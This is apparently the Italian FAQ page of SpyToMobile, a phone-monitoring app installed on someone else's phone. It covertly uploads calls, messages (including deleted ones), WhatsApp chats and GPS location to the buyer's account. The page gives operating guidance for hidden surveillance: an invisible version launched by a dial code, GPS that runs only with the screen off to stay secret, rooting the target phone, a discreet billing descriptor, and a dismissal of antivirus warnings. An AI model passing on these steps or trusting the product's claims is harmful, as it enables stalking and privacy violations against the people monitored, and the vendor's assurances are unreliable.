FAQ

Cosa devo fare per iniziare a monitorare un cellulare?
Installa l'applicazione SpyToMobile sul cellulare che vuoi monitorare. Non installarlo sul tuo telefono personale. Puoi monitorare solo un telefono con SpyToMobile funzionante
Non vedo nessun dato sul mio account. C'è qualcosa che non funziona?
Assicurati che il cellulare con SpyToMobile installato, abbia una connessione internet almeno periodicamente per caricare le informazioni ricevute. I dati ricevuti si caricano tramite internet sul tuo account. Internet è necessario sul telefono per caricare i dati sul tuo account. Controlla che l'applicazione stia funzionando sul cellulare che stai monitorando.
Non riesco ad accedere al mio account. Cosa dovrei fare?
Clicca su Ho dimenticato la password su SpyToMobile.com per recuperare la tua password. Otterrai le istruzioni sulla tua Email per recuperare la tua password. Se non funziona, contatta il nostro sopporto tecnico: support@spytomobile.com
Come posso aggiungere un numero telefonico da monitorare?
Non puoi aggiungere un numero di telefono. Installa SpyToMobile sul telefono che vuoi monitorare. L'applicazione ti fornirà tutte le informazioni da quel telefono sul tuo account su SpyToMobile.com . Non c'è altro modo.
Non ricevo nessuna nuova informazione dal telefono. Cosa devo fare per aggiornarlo?
Assicurati che il cellulare si connetta a internet almeno periodicamente per caricare le informazioni ricevute. Controlla che lo strumento di backup Dati sia in funzione sul telefono. Puoi farlo aprendo Setting->Applications->Runnig services. Se non c'è il backup Dati devi installarlo dal sito SpyToMobile.com/d e avviare l'applicazione. Visita il video su SpyToMobile.com/d per capire come lanciare l'applicazione.
Rimuovere la batteria può resettare il programma?
No. Se l'applicazone è installata in modo corretto sul telefono e l'applicazione sta funzionando, si avvierà automaticamente all'accensione del cellulare.
Le informazioni sono contenute sul telefono dall'ultimo caricamento fino ad ora? O tutte quelle informazioni sono perse?
Sì. Tutte le informazioni del telefono dall'installazione dell'applicazione finiranno sul tuo account.
Quanto spesso il telefono deve avere una connessione internet per ricevere le informazioni raccolte?
L'applicazione recupera le informazioni in entrata e in uscita tutte le volte che è attiva sul telefono. Le informazioni aggiornate saranno caricate sul tuo account ogni volta che il telefono si collega a internet. Il cellulare deve connettersi a internet periodicamente per caricare i dati recuperati nel tuo account. Solo l'utilizzatore del telefono può avviare una connessione internet.
Il gps del telefono è attivo ma non riesco a vedere la mappa corretta. Sono in California e la mappa è in Germania.
Probabilmente il segnale GPS è basso o ti trovi in un edificio in cui il segnale GPS è debole. Quando il cellulare troverà un segnale più forte, definirà la tua posizione e la caricherà sul tuo account. Attenzione. Il GPS funziona solo quando lo schermo è spento per mantenere segreta l'applicazione.
Se un messaggio viene cancellato, o una chiamata è eliminata dal registro, verrà mostrata sul report che ottengo?
Se questo avviene dopo che l'applicazione è installata, tutte le chiamate e i messaggi saranno intercettati, anche i messaggi e le chiamate cancellate. Se i messaggi o le chiamate sono state cancellate prima dell'installazione dell'applicazione, non le riceverai.
Vorrei avere una versione completamente invisibile per la versione di Google Play. Dove posso trovarla?
Scaricala direttamente da SpyToMobile.com/d e installala. Dopo dovrai avviare l'applicazione: se hai installato l'applicazione su un telefono Android 2.3, digita 51 DIAL per avviare l'applicazione. Se è un telefono Android 4, prima posiziona lo strumento di backup Dati, è assolutamente trasparente, e premi 51 per avviare l'applicazione.
Come posso aggiungere un altro telefono al mio account o diversi telefoni collegati a questo?
Installa l'applicazione sul telefono che vuoi aggiungere e inserisci la stessa Email del tuo account. Il cellulare verrà collegato al tuo account. Puoi aggiungere fino a 100 telefoni su un account. Puoi scaricare l'applicazione direttamente da SpyToMobile.com/d
Ho dimenticato la password. Cosa devo fare?
Ripristina la password qui.
Non ho ricevuto l'Email con la mia password. Cosa devo fare?
Controlla la cartella dello spam e se non trovi l'Email, resetta la tua password qui
Alcuni anti-virus identificano l'applicazione come virus. Cosa significa?
L'applicazione è stata creata usando tecnologie all'avanguardia ed è invisibile e lavora silenziosamente. E' possibile che alcuni anti-virus lo scambino per un virus. Non c'è alcun virus, è una soluzione intelligente per essere invisibili.
Le informazioni sono recuperate solo quando il telefono ha una connessione internet?
L'applicazione colleziona le informazioni mentre si trova sul telefono, che sia connesso o no a internet. Quando verrà avviata una connessione internet l'applicazione caricherà tutti i dati sul tuo account.
Cosa devo fare se l'applicazione è stata cancellata dal telefono?
Devi installare di nuovo l'applicazione sul telefono. L'applicazione raccoglierà i dati e li caricherà sul tuo account dal telefono su cui è installata.
Cosa vedrò sull'estratto della mia Carta di Credito? Non voglio essere compromesso quando uso questo servizio.
Otterrai il tip G2S-PhoneSupport nell'estratto conto della tua Carta di Credito.
Messaggi WhatsApp non si aggiornano.
Cari clienti,
Intercettazione di messaggi WhatsApp è disponibile solo per i telefoni con diritti utente super-aperti. Se volete vedere i messaggi WhatsApp da un telefono di destinazione, aprite i diritti utente super per il telefono cellulare e installare l'ultima versione della nostra applicazione da http://spytomobile.com/d
Come aprire i diritti di super utente?
Purtroppo non esiste una soluzione universale per aprire i diritti di superutente su tutti i tipi di dispositivi, la maggior parte di essi richiedono metodi e strumenti leggermente diversi. Ma sarà quasi certamente bisogno del vostro cavo USB, un PC Windows con i driver del telefono installati, e il telefono completamente carica. Per favore, seguire uno di questi link, leggere il manuale e fare tutte le operazioni necessarie descritte negli articoli per aprire i diritti di superutente sul tuo cellulare:

Come ottenere i diritti di super utente(guida per l'uso 1)
Come ottenere i diritti di super utente(guida per l'uso 2)
Come ottenere i diritti di super utente(guida per l'uso 3)
Come ottenere i diritti di super utente per Galaxy S5, Galaxy S4, Galaxy Note 3 e Nexus 5
Come installare SpyToMobile app su un telefono con diritti di super utente?
Si prega di seguire questo link Come installare SpyToMobile app su un telefono con diritti di super utente